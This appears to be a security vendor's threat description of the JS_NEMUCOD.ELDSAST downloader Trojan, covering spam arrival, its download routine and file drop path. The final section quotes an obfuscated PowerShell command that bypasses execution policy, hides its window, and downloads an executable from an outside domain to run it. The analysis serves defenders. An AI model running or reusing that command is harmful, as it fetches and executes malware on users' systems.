JS_NEMUCOD.ELDSAST

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}l.archaicknights.com/2uzaqt.exe

It saves the files it downloads using the following names:

• %User Profile%\AppData\Roaming.eXe

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

• Executes a powershell script for the download routine using the following commandline:
  • "%System%\cmd.exe" /c POwersheLl.^exe^ -eX^ec^uti^oN^P^olIc^Y ^ByPa^ss ^-n^oProfi^l^e -wiNdowstYle h^i^d^d^en ^(^New-O^B^je^ct sYs^tem.N^e^t.webcL^i^e^N^t^).downL^O^adfi^l^e(^'http://mail.archaicknights.com/2uzaqt.exe','%User Profile%\AppData\Roaming.eXe')